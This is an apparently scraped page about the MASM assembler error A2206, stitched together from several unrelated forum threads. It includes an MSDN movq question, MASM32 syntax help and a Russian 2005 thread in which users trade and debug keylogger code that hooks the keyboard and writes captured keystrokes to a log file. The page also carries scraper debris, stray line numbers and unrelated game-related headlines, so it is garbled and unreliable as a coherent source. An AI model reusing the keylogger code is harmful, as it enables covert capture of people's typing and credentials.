Assembler error a2206

Error a2206 missing operator in expression Asked by: Question ml64.exe gave an error A2070: invalid instruction operands. This instruction worked in Linux. What’s wrong here? Thanks. All replies Welcome to MSDN forums! Thank you for your question. We’re doing research on this issue. It might take some time before we get back to you. […]

Содержание

  1. Error a2206 missing operator in expression
  2. Asked by:
  3. Question
  4. All replies
  5. Error a2206 missing operator in expression

Error a2206 missing operator in expression

Asked by:

Question

ml64.exe gave an error A2070: invalid instruction operands.

This instruction worked in Linux. What’s wrong here? Thanks.

Welcome to MSDN forums! Thank you for your question.

We’re doing research on this issue. It might take some time before we get back to you.

Have you check instruction reference here: http://msdn.microsoft.com/en-us/library/x8zs5twb.aspx, you may find correct syntax from this page.

Please remember to mark the replies as answers if they help and unmark them if they provide no help.
Welcome to the All-In-One Code Framework! If you have any feedback, please tell us.

movq rax, 0x00ff00ff00ff00ff

has «error A2206: missing operator in expression». While it works in Linux.

Just because it works on Linux doesn’t mean it is right.

Reading the Intel instruction reference in the Intel Software Developer’s Manual volume 2A, the MOVQ has 4 forms

MOVQ mm, mm/m64 Move quadword from mm/m64 to mm.
MOVQ mm/m64, mm Move quadword from mm to mm/m64.
MOVQ xmm1, xmm2/m64 Move quadword from xmm2/mem64 to xmm1.
MOVQ xmm2/m64, xmm1 Move quadword from xmm1 to xmm2/mem64.

So what this mean is your first one is invalid because it is going from a general purpose register, even if it is a 64 bit one. The second one is invalid because it is a literal going to a general purpose register. The second one also has the problem of in ML64, hexadecimal numbers are written as 1234567890h not 0x1234567890.

As to why it works on Linux, who knows. Maybe the assembler is doing something like injecting instructions to make it work, like

Источник

Error a2206 missing operator in expression

include masm32includewindows.inc
include masm32includeuser32.inc
include masm32includekernel32.inc

includelib masm32libuser32.lib
includelib masm32libkernel32.lib

fname db «log.txt», 0
fhandle dd ?
cwritten dd ?
var dd ?

invoke CreateFile, addr fname, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
mov fhandle, eax

LOCAL KeyCode:DWORD
LOCAL KB_State[256]:BYTE
LOCAL Char:WORD

invoke GetKeyboardState, addr KB_State

invoke ToAscii, KeyCode, 0, addr KB_State, addr Char,0

invoke WriteFile, fhandle, addr Char, 1, addr cwritten, NULL

main endp
invoke CloseHandle, fhandle
end start

Автор: oleg1973 27.7.2005, 14:51
ну если это кейлогер то нада засунуть все в ДЛЛ
и потом сделать ХУК таким образом параметр KeyCode будет приходить из окна в котором нажатие было
а в данном примере KeyCode у тебя = 0
Автор: туварищь 29.7.2005, 19:48
oleg1973
Прочитал на форуме твой топик кейлогер без dll так он вроде называется попробовал периписать всё на masm но вылетает много ошибок

Код
386
.model flat, stdcall
option casemap:none

; èíêëóäû
include masm32includewindows.inc
include masm32includekernel32.inc
include masm32includeuser32.inc

includelib masm32libkernel32.lib
includelib masm32libuser32.lib

; ïåðåìåííûå
.data
hookmes dd ?
msg MSG <>
tid dd ?
thdr dd ?
; êîä
.code
start:

invoke CreateThread, 0, 0, addr myshit,0,0, addr tid
mov thdr,eax
invoke WaitForSingleObject, addr thdr,0xffffffff
invoke ExitProcess,0

myshit:
invoke GetModuleHandle,0
invoke SetWindowsHookEx,WH_KEYBOARD_LL, offset KeyboardProc, eax,0
mov khookhdr,eax

msg_loop:
invoke GetMessage, addr msg,NULL,0,0
or eax,eax
jz end_loop
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
jmp msg_loop

end_loop:
invoke UnhookWindowsHookEx,[khookhdr]
ret

proc KeyboardProc, code, wParam, lParam
enter
invoke MessageBox,0,txt,txt,0
invoke CallNextHookEx, khookhdr,code,wParam,lParam
return
endp

end start

.

ошибки:
C:AsmEditprim.asm(23) : error A2006: undefined symbol : myshit
C:AsmEditprim.asm(23) : error A2114: INVOKE argument type mismatch : argument : 3
C:AsmEditprim.asm(25) : error A2206: missing operator in expression
C:AsmEditprim.asm(25) : error A2114: INVOKE argument type mismatch : argument : 2
C:AsmEditprim.asm(30) : error A2006: undefined symbol : KeyboardProc
C:AsmEditprim.asm(30) : error A2114: INVOKE argument type mismatch : argument : 2
C:AsmEditprim.asm(42) : error A2006: undefined symbol : khookhdr
C:AsmEditprim.asm(42) : error A2114: INVOKE argument type mismatch : argument : 1
C:AsmEditprim.asm(45) : error A2008: syntax error : proc
C:AsmEditprim.asm(46) : error A2008: syntax error : in instruction
C:AsmEditprim.asm(47) : error A2006: undefined symbol : txt
C:AsmEditprim.asm(47) : error A2114: INVOKE argument type mismatch : argument : 3
C:AsmEditprim.asm(47) : error A2114: INVOKE argument type mismatch : argument : 2
C:AsmEditprim.asm(48) : error A2006: undefined symbol : lParam
C:AsmEditprim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 4
C:AsmEditprim.asm(48) : error A2006: undefined symbol : wParam
C:AsmEditprim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 3
C:AsmEditprim.asm(48) : error A2006: undefined symbol : code
C:AsmEditprim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 2
C:AsmEditprim.asm(48) : error A2006: undefined symbol : khookhdr
C:AsmEditprim.asm(48) : error A2114: INVOKE argument type mismatch : argument : 1
C:AsmEditprim.asm(49) : error A2008: syntax error : return
C:AsmEditprim.asm(50) : error A2008: syntax error : endp
C:AsmEditprim.asm(31) : error A2006: undefined symbol : khookhdr

Автор: oleg1973 30.7.2005, 10:19
ну в масме я не селен, но ошибки изза разницы синтаксиса
код делался для фасма
Автор: туварищь 30.7.2005, 15:36
oleg1973 Пробовал компилить твою прогу Fasm’ ом компилер ругался на

Код
include ‘fasmincludeapi.inc’

Скачивал последнюю версию Fasm с официального сайта и там тоже файла api.inc не было.

Автор: oleg1973 31.7.2005, 22:13
ну файлик етот я сам делал для удобства
там просто описание импортов функций
Автор: туварищь 1.8.2005, 19:15
oleg1973 спасиб тебе я правда и сам уже допёр но ещё раз спасибо
Автор: Guest 14.8.2005, 13:30
[code=asm]
proc KeyBoardProc, code, wParam, lParam

kbuff: times 1 db ?
vkey: times 256 db ?

cmp [code=asm], HC_ACTION
jne .next
cmp [wParam], WM_KEYDOWN
jne .next

.write:
invoke CreateFile, fnome, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, NULL, 0
mov [fhdr], eax
invoke SetFilePointer, [fhdr], 0, 0, FILE_END
invoke GetKeyboardState, vkey
mov eax, [lParam]
invoke ToAscii, [eax], [eax+4], vkey, kbuff, NULL
invoke WriteFile, [fhdr], kbuff, 1, shit, 0
invoke CloseHandle, [fhdr]

.next:
invoke CallNextHookEx, [khook], [code=asm], [wParam], [lParam]

Источник

Adblock
detector

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
.586P
.model flat,stdcall
;------------------
includelib masm32libkernel32.lib
includelib masm32libuser32.lib
 
 
 
extern ExitProcess@4:near
extern GetStdHandle@4:near
extern CloseHandle@4:near
extern WriteConsoleA@20:near
extern ReadConsoleA@20:near
extern wsprintfA:near
;------------------ 
 
_DATA SEGMENT
    ExitCode    dd  0
    szIntro     db  13,10,"Press <q> to quit or <a> to exicute Small.",13,10,0
    szError     db "Imput error! PLease try again.",13,10,0
    szSmall     db 07,"Hello! Here I am, Smally:)",13,10,7
    szBuffer    db 255 dub(0)
    
 
_DATA ENDS
 
 
_TEXT SEGMENT
 
START:
    call main
        
 
    ;------------------
    push [ExitCode]
    call ExitProcess@4
 
;****************************************************
main proc
_do:
    push offset szIntro
    call cout
    ;------------------
_while_:
 
    push offset szBuffer
    call cin
    ;------------------
    mov al,byte ptr[szBuffer]
    ;------------------
    cmp al,71h                 ;q
    je _do_end
    ;------------------
    cmp al,'a'
    je _small
    ;------------------
    push offset szError
    call cout
    ;------------------
 
    jmp _while_
    
_small:
    call small
    jmp _while_
_do_end:
    ret 
main endp
 
;****************************************************
;ebp+8 = pStr
 
cout proc
    push ebp
    mov ebp,esp
    add esp,-8
    ;------------- 
    push ebx
    push esi
    push edi
    ;------------- 
    push -11
    call GetStdHandle@4
    mov dword ptr[ebp-4],eax
    ;------------- 
    mov esi,dword ptr[ebp+8]
    ;------------- 
    push esi
    call lens
    ;-------------
    push 0
    mov ebx,ebp
    sub ebx,8
    ;-------------
    push ebx
    push eax
    push esi
    push dword ptr[ebp-4]
    call WriteConsoleA@20
 
 
    ;-------------
    pop edi
    pop esi
    pop ebx
    mov esp,ebp
    pop ebp
    ret 4
cout endp
 
;****************************************************
cin proc
    push ebp
    mov ebp,esp
    add esp,-4
    ;------------- 
    push ebx
    push esi
    push edi
    ;------------- 
    mov edi,dword ptr[ebp+8]
    ;------------- 
    push -10
    call GetStdHandle@4
    ;------------- 
    mov esi,ebp
    sub esi,4
    ;------------- 
    push 0
    push esi
    push 255
    push edi
    push eax
    call ReadConsoleA@20
    ;------------- 
    sub dword ptr[esi],2
    mov esi, dword ptr[esi]
    ;-------------
    mov byte ptr[edi+esi],0
    ;-------------
    pop edi
    pop esi
    pop ebx
    mov esp,ebp
    pop ebp
    ret
cin endp
 
;****************************************************
lens proc
    push ebp
    mov ebp,esp
    push ebx
    push esi
    push edi
    ;------------- 
    mov esi,dword ptr[ebp+8]
    ;------------- 
    sub ecx,ecx
    ;------------- 
_while:    
    mov al,byte ptr[ebp+8]
    cmp al,0
    je _end_while
    ;------------- 
    inc ecx    
    inc esi
    jmp _while
    ;------------- 
_end_while:
    mov eax,ecx
    ;-------------
    pop edi
    pop esi
    pop ebx
    mov esp,ebp
    pop ebp
    ret 4
lens endp
 
;****************************************************
small proc
    enter 0,0
    ;-------- 
    push ebx
    push esi
    push edi
    ;------------- 
    push offset szSmall
    call cout
    ;-------------
 
    pop edi
    pop esi
    pop ebx
    
    leave
    ret
    
small endp
;---------------------
_TEXT ENDS
END START

Topic: error A2206: missing operator in expression  (Read 7821 times)

What is wrong with my code ? I am getting the error for the line ‘integer db 0y01010101’ where I am simply trying to define a binary number.
This is my code:

.386
.model flat, stdcall
option casemap :none

 include masm32includewindows.inc
include masm32includekernel32.inc
include masm32includemasm32.inc

 includelib masm32libkernel32.lib
includelib masm32libmasm32.lib

 .data
integer db 0y01010101
.code

start:

lea eax,integer
push eax
call StdOut

push 0
call ExitProcess

 end start


Logged


.data
integer db 01010101b


Logged



Logged


You’re reading debugger reference
A few days ago qWord uploaded MASM reference . You may download it here.


Logged


For MASM y and b can be used as suffix for binary numbers, whereas the first one is independent of the current radix setting.
e.g.: 101010y


Logged

MREAL macros — when you need floating point arithmetic while assembling!


Понравилась статья? Поделить с друзьями:
  • Assassins creed valhalla как изменить корабль
  • Assassins creed valhalla как изменить драккар
  • Assassins creed valhalla как изменить внешность ворона
  • Assassins creed valhalla как изменить внешний вид снаряжения
  • Assassins creed valhalla directx 12 error